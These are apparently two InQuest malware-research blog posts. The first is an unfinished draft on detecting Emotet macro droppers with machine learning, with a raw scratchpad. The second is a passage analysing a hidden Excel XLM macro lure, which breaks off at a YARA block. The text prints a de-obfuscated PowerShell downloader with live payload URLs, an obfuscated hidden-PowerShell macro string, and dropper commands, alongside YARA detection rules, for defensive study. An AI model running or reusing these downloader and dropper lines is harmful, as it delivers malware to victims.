Emotet, Unmasking via Machine Learning2019-07-03

Authored by: Steve Esling, Amirreza Niakanlahiji, and William MacArthur

There's plenty of malware to worry about in this world, and one of the most threatening (and costly) families out there is known as Emotet. Synonymous with Geodo / Heodo, Emotet has been evolving for the instant it was initially observed by information security practitioners in 2014. Emotet is a modular agent, information stealer, and downloader that most recently specializes in smuggling in other prolific trojans, usually ones that targeting banking information. This wasn't always the case. Initial intentions shifted towards becoming a malware delivery platform as Emotet's capability to spread undetected was exemplary in the malware ecosystem.

As of the time of writing, the tier-1 emotet Command and Control (C&C or C2) infrastructure is currently offline. It is well worth being prepared for its inevitable return however as this dormancy is likely temporal and related to the group retooling for the next major release. There is speculation that the next revision will include an exploit for a recent Microsoft Windows Remote Desktop Services vulnerability, [CVE-2019-0708](https://blogs.technet.microsoft.com/msrc/2019/05/14/prevent-a-worm-by-updating-remote-desktop-services-cve-2019-0708/). Emotet has been incredibly challenging to pin down, not only because it spreads rapidly through email delivery, but because its polymorphic, modular design allows its operators to constantly shift and change the code, making signature-based detection methods temporary solutions at best. Human experts are still usually able to discern if a given sample is Emotet or not after examining caught samples, but it�s a slow process that can�t possibly scale to production traffic volumes seen in the typical SOC environment. Fortunately, as we've discussed in previous blogs ([intro](https://inquest.net/blog/2018/11/14/Ex-Machina-Man-Plus-Machine), [random forest](https://inquest.net/blog/2018/12/28/Ex-Machina-Random-Forests), and [minhash](https://inquest.net/blog/2019/02/28/Ex-Machina-Family-Matters) for example), machine learning provides the tools necessary to emulate human analysis and automate it on a large scale. In this post, we'll talk further about the makings of Emotet and discuss how a previously built classifier can be re-trained and thereby re-tooled to assist in the discovery of evolving samples.

Emotet

There's a number of stages in the infection vector prior to the final delivery of the polymorphic Emotet executable payload, but before we glance at those. Let's review the high level functionality of Emotet. Comprised of modules, the following functionality is (at least) known to have been implemented:

  • The main module, responsible for loading other modules received from C2 infrastructure.
  • Address book harvester, performs e-mail spool analysis to lift target e-mails that can be passed to the spam module (see below).
  • Brute force module, attempts to connect to local network resources and brute force passwords, in an effort to copy itself to other systems.
  • Credential harvester, also present in most versions of Emotet, this module leverages NirSoft tools to lift credentials from installed web and mail clients.
  • E-mail harvester, responsible for the exfiltration of harvested e-mail data to C2 infrastructure.
  • Spam module, present in most version of Emotet and responsible for the continued e-mail borne spread of the contagion.
  • Distributed Denial of Service (DDoS) module, a dormant module that was active in earlier versions of Emotet.
  • Banking module, a dormant module that was active in earlier versions of Emotet.

Like most malware, there are a variety of stages in Emotet related malware campaigns. In the hunt for fresh evolving Emotet samples, we can focus on one or more of these stages, looking for commonalities or anchors that we can pivot on to identify other components of the infection vector. Examples include:

  • The initial delivery mechanism.
  • Final executable payload analysis.
  • C2 communication patterns.
  • C2 infrastructure (IP and DNS endpoints).

On the latter most matter, one can account part of Emotet's success to its rigid C2 architecture. Leveraging at least two large botnets of infected computers, known to researchers as Epoch1 and Epoch 2. In keeping with the subject of prior machine learning blog posts, we focus here on the initial delivery mechanism. Specifically the e-mail borne delivery mechanisms, and more specifically the usage of malicious Microsoft Office macros. This is actually the #1 most effective Emotet delivery mechanism, otherwise known as malspam. If we can uniquely identify components of the macro malware specific to Emotet campaigns, then we can cast a net around this stage of the infection vector (labeled "1" in the diagram below) and in-turn enumerate the other components of the infection vector.

Let's take a glance at some of the characteristic components for each of four different macro families collected from Emotet samples we've been harvesting over the past year. Each of these families have distinctive features that a human analyst will notice instinctually while analyzing Emotet samples at scale. In the next section, we'll highlight how we can leverage unsupervised machine learning to automatically identify these clusters.

Family-1

At a glance analysis reveals multiple, sometimes nested, junk If-Else decision trees with heavy usage of gibberish variables and a mix of math library function calls. Most popular seen functions include (ordered more common first): *Atn(), Round(), Sqr(), Tan(), Hex(), Rnd(), Cos(), Oct(), CLng(), ChrB(), Int(), CStr(), CVar(), Asc(), CDate().*

Sample Macro Obfuscation Style Excerpt

jQAAxZ_
If FQBXU_U = UZUo1BAA Then
ElseIf bAoQXAB = JAAx1G Then
rCACwUBA = Hex(MD1xBBA + CSng(KAUDBAD / Tan(289954362 + 68963466)))
ElseIf UXoAAUA = iADcA4 Then
IDwQAX = Atn(192828462) + Int(178883383)
ElseIf I4kDQBU = XGwXAQ Then
HUUAcBDk = 722919832 + Atn(361484891)
End If

Family-2

At a glance analysis reveals long hex strings and function definitions with gibberish names. Most popular seen functions include (ordered more common first): *lus(), DRTYUIUU(), fibonacci(), XXCERQAZSD(), UBound(), CreateObject(), Len(), Environ(), OUIZXCAQ(), LBound(), CreateTextFile(), Click().*

Sample Macro Obfuscation Style Excerpt

lus(2316) = "f593ab11e5bd6d2727f4eae0e728abf327cbbce4755dac1e1027273f291bdf68d2ea7b7b2129dda75527632727e4795877e851ace928f0e128446071292727fb4018dcfe331b9929820d0d9929f54e27273999295fa5bac7d383474968875d71292727d713fac45ac92be339825128621f88ce272714db9505059929ac626d4f"
lus(2317) = "298792e8182727e0750a5129eaa21827bfceb1598bc5cb2727c0dd299ba8a8a129c9cf8dc12994ba8c2727861bf581e3c03be2a905ac88be2179172727298a356b295840b8da93d8094fb7c9b727276138f3b929c6db34c709ac700129fd8227270727efa7a578a45b37c7294ca90441e22727d18e4969b02be1bdea15df295b"
lus(2318) = "db396d27275d85b81bbfdcbfe12941ad19e288754b2727291b945679299fa16d8f9bca34db299a2727904c1929724cd9fbe1a9436aa7e8f4df27271537e0e00fc73e51d128585128ddbdb9272729a8e0f019b2972129079589b32988c92727098cdf09799729c777eb298aff99c32927277be288c5a0e9c9db2943b2ca19ef59"

Family-3

At a glance analysis reveals heavy usage ChrW() character concatenation, and gibberish variables. Most popular seen functions include (ordered more common first): *ChrW(), Shell(), Open().*

Sample Macro Obfuscation Style Excerpt

Shell (bhZMvtDFeLa)
bhZMvtDFeLa = ChrW(112) & ChrW(111) & ChrW(119) & ChrW(101) & ChrW(114) & ChrW(115) & ChrW(104) & ChrW(101) & ChrW(108) & ChrW(108) & ChrW(46) & ChrW(101) & ChrW(120) & ChrW(101) & ChrW(32) & ChrW(45) & ChrW(78) & ChrW(111) & ChrW(80) & ChrW(32) & ChrW(45) & ChrW(78) & ChrW(111) & ChrW(110) & ChrW(73) & ChrW(32) & ChrW(45) & ChrW(87) & ChrW(32) & ChrW(72) & ChrW(105) & ChrW(100) & ChrW(100) & ChrW(101) & ChrW(110) & ChrW(32) & ChrW(45) & ChrW(69) & ChrW(120) & ChrW(101) & ChrW(99) & ChrW(32) & ChrW(66) & ChrW(121) & ChrW(112) & ChrW(97) & ChrW(115) & ChrW(115) & " " _

Family-4

At a glance analysis reveals heavy usage of ChrW() / ChrB() / Chr() character concatenation, gibberish variables, jun If-Else junk decision trees, and long lines containing calls to various math library functionality. Most popular seen functions include (ordered more common first): *Chr(), CBool(), Sqr(), ChrW(), Round(), CByte(), Sin(), ChrB(), Fix(), CDate(), Hex(), CLng(), Cos(), Log(), Oct().*

Sample Macro Obfuscation Style Excerpt

If dXBABBA = zAAAoAAA Then
jAkBCAGA = 883910083 * CByte(559167643) / RDQQGGAA - Int(193946949 + oAccQUA) * 284989030 + CInt(242790627 + CLng(BA_4ADo))
LADUQDD = (k1QAUA / Oct(SAZBAAkB) - DAADAA * CInt(391963257) - D1AGxAAQ - CDbl(O4kwCUcA - tcBZB1AZ / OABDAG - 936688393))
End If
If wAQBxDXD = PAAABUA Then
XAUCAA = 873169285 * Sgn(793182667) / FAZQcAA - CDate(416882180 + VwDxAUCk) * 292734993 + Log(71335926 + CBool(UDAAw1U))
dAQAQQ = (rG1AcA / ChrW(iAUAAZD) - VAcDBBU * Int(234956747) - XBXQ4CD_ - Log(wAQBZBG - VDUAAk / zAB4UD - 983561536))
End If

>>>>> Above this line is ready for blog.inquest.net
>>>>> PRODUCTION LINE >>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
>>>>> Still working below this line

An analyst familiar with Emotet can classify samples based on these distinctive characteristics with relative ease. Manual efforts obviously don't scale so practitioners commonly lean on signature based detection of such threats. An overall valuable technique, but a continuous battle with malware families such as Emotet, which frequently retool and employ polymorphic transformations to avoid exactly this kind of detection. Let's take a look at what a real-world signature based approach looks like in this case. [Clam AntiVirus](https://www.clamav.net/) (ClamAV) is a popular, freely available, and open source anti-virus solution. Supported by both the community and commercially owned by Cisco, ClamAV

TODO https://github.com/InQuest/malware-samples/tree/master/2019-06-Emotet-Droppers 50 Emotet samples
TODO Consider uploading clamav\_aggregate\_emotet\_document_downloader.yara to github/inquest/yara-rules � modify condition to be 2 or 3 of them.
Unmasking via ML
The first step, as with any supervised learning problem, is assembling a good training set. For this task, it would be a slightly different set than we�ve used in the past for catching malware. While our previous blogged about classifiers were concerned with finding "good" (negative for malware) and "bad" (positive for malware) macros, our Emotet ones would be specifically looking for whether or not the macro was the eponymous Trojan. This meant that the data would be split by "positive for Emotet" and "negative for Emotet," with the latter actually containing a mixture of "good" and "bad" samples. Therefore, if these new classifiers were to return a negative result for any given macro, it might still be malicious, just not the "right kind" of malicious. It would still be up to our previous classifiers to deal with a file�s "goodness" or "badness�. Our final data set wound up as two collections:

A collection of "bad", Emotet labeled malware.
A collection of "bad", non Emotet-labeled malware along with "good" non-malicious samples.

TODO sample harvesting and initial labels
Harvesting
VT
https://urlhaus.abuse.ch/browse/tag/emotet/
https://urlhaus.abuse.ch/browse/tag/heodo/
Labeling
VT
ClamAV Super YARA Signature
Dynamic Analysis (Powershell pivot)

After we had trained our models, they were shown to have great accuracy, consistently marked unlabeled files as Emotet that even our trained experts were unable to find without deeper inspection. With confidence that they were working correctly, we decided to take one of the classifiers apart to see how it worked, specifically our Gradient Boost (GB) classifier. To do so, we viewed the relationship between each feature and each sample in terms of a Shapley Additive Explanation (SHAP) value.

A SHAP value is the result of a complex equation based on game theory; basically, a measure of the impact any given feature had on the final prediction of any given sample. We illustrate this below. Let's take a look at how the feature impact differs between our standard classifier and our Emotet specific one. The following data visualizations depict the top 20 most important features, out of over 100 features that fuel each of the classifiers.

Gradient Boost Malware Classifier SHAP Values

Gradient Boost Emotet Classifier SHAP Values

Now, depending on the sample, a feature will have more or less impact on the final result. Because there�s variance in this respect, the graphed features are ranked by the average magnitude of their effects. The individual impacts can be seen by the placement of the samples on the X axis, with a location farther to the left indicating that the feature had a larger negative impact (decreased the likelihood the sample was malicious) and placement farther to the right representing a strong positive one (increased malicious likelihood.) The actual colors are indicators of how high or low a sample scored on the associated feature.

With all of this in mind, we�re able to interpret the classifier�s �thought process� for each training set, without having to go through the hundreds of thousands of decision branches that it utilized to arrive at its decisions. This allows us to directly compare the two classifiers, so let�s zoom in on what each one considered the top five most important features to be.

For our standard classifier, the top five most important features, in descending order, are the number of macro functions with a length greater than 18 characters, the number of macro comments, the language of origin that the document was created in, the length of the longest function name within the macro, and the number of branching paths (�if-then� statements) contained within the macro as well. While functions longer than 18 has the highest importance to a given sample on average (and, interestingly, it seems that higher numbers of such functions make a sample more likely to be benign,) the most consistent feature is the language. This likely due to the way language was encoded as a feature; as a categorical variable, each given language was encoded as an integer. The fact that a higher integer almost always leads to higher predicted maliciousness likely has to do with one language in particular being almost always associated with malicious code, and its associated number being a larger integer, perhaps a 3 or 4. The fifth most important feature, number of branches, is also fairly consistent, as well as intuitive, with lower scores leading to a higher likelihood of being benign.

The top five features for our Emotet classifier are a bit more focused, with most of the importance resting on the first two, the number of gibberish variables and the length of the smallest value of a file�s metadata (stored information about the file itself, such as its language of origin, date of creation, etc.) It seems that high scores on the former and low scores on the latter are both string indicators that a file might be Emotet.

Let's swing back around to the macro malware family question we posed in the previous section. Where did those clusters come from? The answer to that has to do with k-means clustering, a type of unsupervised learning. In simplest terms, k-means finds cluster centers, or prototypical �average� examples that define groups of similar data. We ran multiple k-means each set to find a predetermined number of cluster centers ranging from 2-12 on our Emotet samples, based on their feature vectors. On each passing, we noted how �different� the cluster centers were from each other, and decided that past four there was too much overlap among them to consider them as separate families. We'll dive further into unsupervised clustering methods in a separate / future blog post.

Validation
TODO validation at Powershell level / dynamic analysis / show samples

On a final note, If you're interested in this kind of work and will be attending Blackhat USA in Las Vegas in August, be sure to check out Worm Charming: Harvesting Malware Lures for Fun and Profit presented by Pedram Amini on Wednesday, August 7 from 2:40pm through 3:30pm.

Above this line is our actual blog draft, what follows is raw notes/materials.
SCRATCHPAD

Emotet samples identified by classifier:

c742db754ce520271e3d5f299d2fb13090ee8e46fbef4534e65ee6e04d3e0ca7 (Cat Quick-Heal labeled Emotet)
1a6afc1493e33971fca254cbac8d34b6b131f66d87512d0c4f63c2a0ea288613 (noone labeled Emotet)

De-obfuscated powershell from c742 sample:

$franc = new-object System.Net.WebClient;
$nsadasd = new-object random;
$bcd = 'http://eapsaacademy.org/CsZxHA/,
http://aydisa.com/QPhnCF/,
http://galvacrom.cl/ALnQkYy/,
http://www.apicolaelrefugio.cl/iPFNo/,
http://www.drmka.ir/P60u/'.Split(',');
$karapas = $nsadasd.next(1, 343245);
$huas = $env:public + '\' + $karapas + '.exe';
foreach($abc in $bcd)
{
try
{
$franc.DownloadFile($abc.ToString(), $huas);
Invoke-Item($huas);
break;
}
catch
{
write-host $_.Exception.Message;
}
}

# 50 sample documents with their extracted macros.
$ ls -1 *.macro | wc -l
50

# unique, there are only 18 though:
$ for f in *.macro; do cp $f uniq_macros/`sha256 $f | cut -d' ' -f1`; done
$ cd uniq_macros/
$ ls -1 | wc -l
18

# line counts.
$ wc -l * | sort -n
23 4a966a5bfc0475d15062e934b8806ef68e1626c13f320497d1abf3efb229cefa
72 aa262de50037c298895321486ee00d5826ae893db017ad64419683a597a48de4
82 91a437a0c64b4442e8e411e7a4e81692b96c96866418c9d8163669a490e0580a
84 121effee09336ca6e95fb838dc2cf14113763acd5780c407d3461f206712178d
98 86c819592b938e0bd5badea164ddf8628c2348ce293828b33d1ef5a0d96d9d77
113 6eaf9013555acdb7ad4c7856728183614d17fdad7649020bcd6179bc5b27b5eb
121 219761ae921a75d202e3c5694355f2d645c1836361b1fc07af9f96bf4676aad6
134 13b5cdc743ae7dd313f2c12e0dca157892c6ad61103d6284db256d4490071ad7
160 3bb047a9148a80436fea7340f7c4077c27a9005587f28fdb151a609a96c696cf
184 90f44819a25ed26f2b21f095d166db1c08153de28e71b4f51a37a6c5fb006d2f
189 035b3db6b911a575684c60c266b270abed8692b91ed72ee134c65c8a8e84126f
254 8dc9551cbe33913fcbc4f17956b707e0b12cbd31a9f14e3cccf6be7e5a1d2ded
264 ba633ec83a4cd85ba0bdd2097dd464214c61a952e4a6b8de7276d8351ac14b6a
266 56c3ef4e9779e2a9abf4a9b783feff670e9284eeea9e9a2bb6b282c65eabc8ba
594 b1001df828e696f235bdc70f3f8967a398c6f146c6b1ee58bbdfbff403899d4e
839 d2171050d59097d03cb7fa8a93272d3dfbda00f153dad10f661d8c631b410a8b
1192 6345cfb99fc97cbea04b00badd759c30f5812e1aa7c4f60ecd111020b5734f6b
1225 5e0b3272cf61c686b4eeabcd0f07d5e8e64abef200fa1777ce3ae7bc2e5ff9dd
5894 total

# file sizes.
$ for f in *; do stat -f '%z %N' $f; done | sort -n
1135 4a966a5bfc0475d15062e934b8806ef68e1626c13f320497d1abf3efb229cefa
2493 6eaf9013555acdb7ad4c7856728183614d17fdad7649020bcd6179bc5b27b5eb
3888 219761ae921a75d202e3c5694355f2d645c1836361b1fc07af9f96bf4676aad6
4467 13b5cdc743ae7dd313f2c12e0dca157892c6ad61103d6284db256d4490071ad7
4752 91a437a0c64b4442e8e411e7a4e81692b96c96866418c9d8163669a490e0580a
4841 121effee09336ca6e95fb838dc2cf14113763acd5780c407d3461f206712178d
5080 3bb047a9148a80436fea7340f7c4077c27a9005587f28fdb151a609a96c696cf
5727 86c819592b938e0bd5badea164ddf8628c2348ce293828b33d1ef5a0d96d9d77
5792 90f44819a25ed26f2b21f095d166db1c08153de28e71b4f51a37a6c5fb006d2f
5871 aa262de50037c298895321486ee00d5826ae893db017ad64419683a597a48de4
6052 035b3db6b911a575684c60c266b270abed8692b91ed72ee134c65c8a8e84126f
8266 8dc9551cbe33913fcbc4f17956b707e0b12cbd31a9f14e3cccf6be7e5a1d2ded
9915 56c3ef4e9779e2a9abf4a9b783feff670e9284eeea9e9a2bb6b282c65eabc8ba
11696 ba633ec83a4cd85ba0bdd2097dd464214c61a952e4a6b8de7276d8351ac14b6a
40662 d2171050d59097d03cb7fa8a93272d3dfbda00f153dad10f661d8c631b410a8b
45534 b1001df828e696f235bdc70f3f8967a398c6f146c6b1ee58bbdfbff403899d4e
49096 5e0b3272cf61c686b4eeabcd0f07d5e8e64abef200fa1777ce3ae7bc2e5ff9dd
49129 6345cfb99fc97cbea04b00badd759c30f5812e1aa7c4f60ecd111020b5734f6b

# common function call distribution.
# NOTE that we use https://github.com/wizzat/distribution here instead of "sort | uniq -c | sort -nr | head -n15";
$ for m in *; do cat $m | grep '('; done | egrep -o '[A-Za-z]+\(' | distribution
Key|Ct (Pct) Histogram
CLng(|1274 (27.58%) ----------------------------------------------------------
CByte(| 529 (11.45%) ------------------------
Right(| 424 (9.18%) -------------------
Left(| 424 (9.18%) -------------------
CStr(| 357 (7.73%) ----------------
Fix(| 325 (7.04%) ---------------
NpwFOc(| 240 (5.20%) -----------
Chr(| 184 (3.98%) ---------
Int(| 120 (2.60%) ------
FBSTu(| 83 (1.80%) ----
CDbl(| 62 (1.34%) ---
Sin(| 59 (1.28%) ---
Sqr(| 55 (1.19%) ---
Round(| 53 (1.15%) ---
Tan(| 51 (1.10%) ---

Emotet HipChat Comms
24cb8f765803b7feacfdee86224409bba85df80a3822e87e7f26a4328f88ec6f
402f97a639a722d3f6d5ff09453d81fe9b0fc15ae138d4b1bb9061b4af22eb1b
6b311d4cfb2be9c469ff2076785ccf7891eb040c9318bab4304cb52016eaf7d8
fd1cbd3aec3b63b92a5a82b10d2e9547e091eb523172c07a09bac468d1c92e69
044ef5f307e53b24a6c7688dbac252a284cdece4423c2fe2329865049319e1fb
GB says these are emotet, RF and LR dont, none of the AV engines label above samples as Emotet

Important Events Timeline
Proofpoint researchers began tracking a prolific actor (referred to as TA542) in 2014

June 12th 2019 Emotet is still offline and retooling per many conversations.
- Hypothesis so far is that they are going to add in a RDP CVE to it.
- Something happened and it got shut down. This is most likely not the case but would be nice :}
(https://pastebin.com/vwNSwbJK)
Emotet Tier 1 C2 is still down on both botnets. I wanted to update these lists because I was missing 4 combos on E1 and 8 combos on E2. The correct totals are 126 for E1 and 100 for E2. Somehow I truncated the totals and missed these 12 IP/Port combos. @0xtadavie found this oversight and provided me with the following missing combinations. Fortunately if you were just blocking on IPs, some of these were just additional ports on the same host.

Free Email Hygiene Analysis

Solid email security begins with proper email hygiene. There are a variety of email hygiene technologies and wrapping one's head around them all is challenging. Try our complimentary Email Hygiene Analysis and receive an instant report about your company's security posture including a simple rating with iterative guidance, as well as a comparison against the Fortune 500. Try it today!

Free Email Hygiene Analysis

Originally published 2019-07-03 on the InQuest blog.

Extracting "Sneaky" Excel XLM Macros2019-01-29

In this article, we present our in-depth analysis of a malicious Microsoft Excel document (.xlm format) that we found in the wild. We show how existing open source tools can be utilized to carve out interesting artifacts. During our analysis, we also point out some tool limitations and present our solution to closing the gap. Ultimately, our goal is to orchestrate the carving of as many artifacts as possible, for robust threat detection and prevention.

The sample we'll dive into originally popped up on our RADAR a few weeks ago, just around the new year. Received through one of our [VirusTotal Intelligence](https://www.virustotal.com/intelligence/) YARA hunt rules that search for suspicious Microsoft Office documents. The initial sample and some relevant reports:

* SHA256: 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526
* Multi-AV: [VirusTotal](https://www.virustotal.com/en/file/98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526/analysis/)
* Sandbox detonation: [Hybrid-Analysis](https://www.hybrid-analysis.com/sample/98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526)
* [Downloadable Samples](https://github.com/InQuest/malware-samples/tree/master/2019-01-15-Mal-Excel-Doc-Macrosheet)

Initial AV detection was rather low (3/59), we'll see why when we dive into the analysis. As of the time of this blogs publish, 30 days have passed and the file has been rescanned 6 times, resulting in a total of 9 out of 59 engines successfully detecting the threat.

A Cursory Glance
----------------
First, we open the XLS file with Microsoft Excel in a virtual environment to see what it looks like to an end-user. This Excel file contains a single spreadsheet, and the spreadsheet contains a single image that instructs the reader to click "Enable content" in order to view/edit the document (Fig 1); this is a common social engineering attempt to entice the user into allowing execution of the first stage of the malware payload:

Fig 1. Enticing users to activate the first stage of the malware. We detect this and similar lures through Optical Character Recognition (OCR).

Note that the social engineering component alone of this document lure is enough to trigger InQuest threat prevention. In this particular case through the Optical Character Recognition (OCR) layer of our [Deep File Inspection (DFI) stack](https://blog.inquest.net/blog/2018/02/12/deep-file-inspection).

Let's use the popular [oledump](https://blog.didierstevens.com/programs/oledump-py/) and [olevba](https://github.com/decalage2/oletools/wiki/olevba) Python scripts, to examine whether the XLS file contains any VBA macros:

```text
$ olevba3 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526
olevba3 0.53.1 - http://decalage.info/python/oletools
Flags Filename
----------- -----------------------------------------------------------------
OLE:-------- 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526
===============================================================================
FILE: 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526
Type: OLE
No VBA macros found.

$ oledump.py 98e4695eb06b12221f09956c4ee465ca5b50f20c0a5dc0550cad02d1d7131526
1: 4096 '\x05DocumentSummaryInformation'
2: 4096 '\x05SummaryInformation'
3: 173064 'Workbook'
```

According to both tools, the document seemingly doesn't contain any VBA macros. Note that oledump can leverage an additional plugin to dive deeper into the file, more on this later. To further investigate the file, we'll employ the help of a Windows GUI tool for Structure Storage View [SSView](https://www.mitec.cz/ssv.html) and a hex editor, in this case [Hexinator](https://hexinator.com/).

A Deeper Dive
-------------
XLS is a [Compound Document File (CDF or CF)](https://www.openoffice.org/sc/compdocfileformat.pdf) or [Object Linking and Embedding (OLE) File](https://msdn.microsoft.com/en-us/library/dd942138.aspx); thus, it can be explored with any OLE/CF viewer such as SSView. OLE files are hierarchical data structures consisting of several storages and streams, analogous to folders and files on your standard file system. Fig 3 shows the structure of this particular XLS file in SSView. In this file, the **Workbook** stream is interesting as it contains all the information related to this workbook such as the included sheets. The structure of this stream is fully specified in [Microsoft Office Excel 97-2007 - Binary File Format Specification](http://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf). We dump the **Workbook** stream to the filesystem by right-clicking on its name and then selecting "Save stream ...".

Fig 3. Using SSView to explore the XLS files storages and streams.

Note that we can also use 7zip to extract all storages and streams from an OLE compound file. 7zip creates a folder and a file for each relevant storage and stream parsed out of the compound file. We pull the extracted **Workbook** stream into our hex editor, and can spot a **cmd.exe** pivot at offset 0x028ABB as depicted in Fig 4.

Fig 4. Spotting the embedded cmd.exe pivot in the extracted Workbook stream.

Why the pivot through **msiexec.exe**? It's one of a myriad of "Living off the Land" (LOL) techniques that attackers employ to mask their activitiy from runtime endpoint security monitoring tools. For a well maintained list of LOL binaries and libraries, see the [LOLBAS](https://lolbas-project.github.io/) project... they have a section dedicated to [msiexec](https://lolbas-project.github.io/lolbas/Binaries/Msiexec/). The ```serf=19``` bit is interesting, see the relevant documentation in the MSDN article for [Custom Action Type 19](https://docs.microsoft.com/en-us/windows/desktop/msi/custom-action-type-19). This makes for a good hunt rule on its own. We're looking for ```serf=19``` specifically, or any other ```serf=``` and an URL prefix of ```http```:

```yara
// see: https://github.com/InQuest/yara-rules/
rule MSIExec_Pivot
{
strings:
$serf19 = "serf=19" nocase ascii wide
$msiserf1 = "msiexec" nocase ascii wide
$msiserf2 = "serf=" nocase ascii wide
$msiserf3 = "http" nocase ascii wide
condition:
$serf19 or all of ($msiserf*)
}
```

Before shifting focus to the actual MSI file that the msiexec pivots to, let's take a brief look at the domain **office365advance[.]com**. It was only registered recently, a few days before the sample in question was first seen on Virus Total. The resolving IP address geo locates to Russian and appears to host another domain as well:

| Domain | IP | Registration Date | Location |
|----------------------|:--------------:|:--------------------:|--------|
| office365advance[.]com | 185.68.93.84 | 12/26/2018 | Russia |
| krontvhouse[.]com | 185.68.93.84 | 2014 | Russia |

Further pivots can be made to uncover other related infrastructure, we leave this as an exercise for the reader and instead next examine the MSI installer which is retrieved from this domain. The MSI file has a SHA256 hash of [a5bc8c8b89177f961aa5c0413716cb94b753efbea1a1ec9061be53b1be5cd36a](https://www.virustotal.com/en/file/a5bc8c8b89177f961aa5c0413716cb94b753efbea1a1ec9061be53b1be5cd36a/analysis/) and was initially uploaded to Virus Total on the same day that office365advance[.com] was registered. Initial detection was a meager 2 detection... today, 36 AV vendors properly detect this file as malicious. A simple string analysis on the MSI reveals the URL [www.exetomsi.com](http://www.exetomsi.com/), which contains a free tool to convert executable files (.exe) to an MSI installer. Turns out, this is a valuable hunting rule as well, we've been watching the results for a while and there's plenty of other malware authors converting their payloads to MSI using this tool:

```yara
// see: https://github.com/InQuest/yara-rules/
rule Executable_Converted_to_MSI
{
strings:
$magic = /^\xD0\xCF\x11\xE0\xA1\xB1\x1A\xE1\x00\x00\x00/
$url = "www.exetomsi.com" nocase
condition:
$magic at 0 and $url
}
```

Obviously, this string is easily bleached and thus this signature is easily evaded. Finer selected heuristics will provide a more robust hunt rule, again left as an exercise for the reader.

The MSI file in turn contains a malicious binary (c354467ec5d323fecf94d33bc05eab65f90a916c39137d2b751b0e637ca5a3e4). Upon its execution, it drops a VBS script (rds.vb, 8a5041d41c552c5df95e4a18de4c343e5ac54845e275262e99a3a6e1a639f5d4), a Batch file (help.bat, 91237a76e43caa35e3fbd42d47fbaca5d6b5ea7a96c89341196d070b628122ce), and Windows DLL library (htpd.dat, 79a56ca8a7fdeed1f09466af66c24ddef5ef97ac026297f4ea32db6e01a81190). The VBS script simply executes the dropped ```help.bat``` file via a ```WScript.Shell``` pivot:

```text
# RDS.VB
CreateObject("WScript.shell").run "cmd /c %temp%\help.bat", 0, False
```

The executed batch file in turn pivots to the dropped DLL by way of rundll32.exe. Note the entry point of the DLL here is ```bogus()```:

```text
# HELP.BAT
rundll32.exe C:\Users\ZGSPBU~1\AppData\Local\Temp\htpd.dat, bogus
```

The DLL was also uploaded to [Virus Total on 12/26/18](79a56ca8a7fdeed1f09466af66c24ddef5ef97ac026297f4ea32db6e01a81190), the date of the domain registration. Initial detection was at 4, whereas today, the majority of AV engines (46) successfully detect the DLL as malicious. Unfortunately this is the end of the line for our investigation. As of the time of research, ```htpd.dat:bogus()``` attempts to retrieve a next-stage payload from one unreachable and another unregistered server. We've made public a [Joe Sandbox Detonation Report](https://jbxcloud.joesecurity.org/analysis/754882/0/html) for your perusal.

Within that report we can see two possible domains for next-stage retrieval:

| URL | Status |
|------------------------------------------|----------|
| hxxps://vesecase[.]com/support/form.php | Offline |
| hxxps://afsssdrfrm[.]pw/support/form.php | Unregistered |

Peering back into the history of the registered, but currently offline domain, we can see that as of 12/20/2018 vesecase[.]com was hosting a default Apache Ubuntu install page:

* https://research.domaintools.com/research/screenshot-history/vesecase.com/#0

Macroless Command Execution?
----------------------------
What of the original pivot though? How does the Excel malware lure transition from the user's enabling of active content, to the cmd.exe / msiexec combination? It turns out the active content resides within an XLM macro, an age old technology that is giving AV some grief as of late. These kinds of techniques appear from time to time. Collating documents through capture (data-in-motion) and aggregation (data-at-rest) into the InQuest platform empowered by Deep File Inspection (DFI) provides threat hunting teams with an analysis tool to discover previously undiscovered and targeted threats... just like this.

To discover the answer, we'll take an ever deeper look at the Workbook stream, which is in the [BIFF8 format](https://www.openoffice.org/sc/excelfileformat.pdf). First, we'll take an interactive look with the Windows tool [BIFFView++](https://www.aldeid.com/wiki/BiffView). As it is depicted in figures 5 and 6, the msiexec command is found within a **Cell Formula** (6h) record. That record is contained within the very first cell of the spreadsheet, **A1** (column 'A', row '1').

Fig 5. Determining the type of record that encompasses the malicious msiexec command. Fig 6. Structure of a Cell Formula (6h) record (ref 1)

Now, we need to determine the sheet that contains this particular cell formula. According to the [XLM Spec](http://download.microsoft.com/download/1/A/9/1A96F918-793B-4A55-8B36-84113F275ADD/Excel97-2007BinaryFileFormat(xls)Specification.pdf), all information about a sheet such as its name, type, and stream position are kept within a BOUNDSHEET record (85h). In Fig 7. we can see that this workbook has two BOUNDSHEET records; which means it has two sheets. However, one of them must be hidden as we can only see one sheet in Fig 1.

Fig 7. BOUNDSHEET records in this Workbook; representing two sheets. Fig 8. Option flags in BOUNDSHEET record (this field starts at offset 8 and is two bytes; marked as green and blue in Fig 7)

The first sheet starts at offset 0x028938 and the second one at offset 0x028C17. The cell formula that we are interested in is located at 0x028ABB; this means that this cell is in the first sheet; which is a hidden macro sheet. We can unhide the sheet by either setting the hidden state to zero within the file, or toggling the setting through the Excel interface. It is interesting to note that the hidden state can also be set to **2**; which is called *very hidden* state. *Very hidden* sheets cannot be unhidden through the Excel interface, they can only be toggled to visible via manual hex editing of the file. After unhiding the macro sheet, we can see the embedded macro clearly in the Excel GUI.

Fig 9. Macro sheet containing malicious Cell Formula pivot.

This formula is triggered when the document is opened (Auto_Open label points to cell **A1**), the user is asked to enable active content, and then the cmd.exe/msiexec and subsequent chain of events are automatically executed. As mentioned earlier, XLM 4.0 macros are an arcane technology that predate VBA even (which was introduced in Excel 5.0).

We're afforded yet another hunting opportunity here. The following YARA rule will detect Excel files with both hidden and very hidden macro sheets. Please note that not all XLM files with hidden Macro sheets are malicious.

```yara
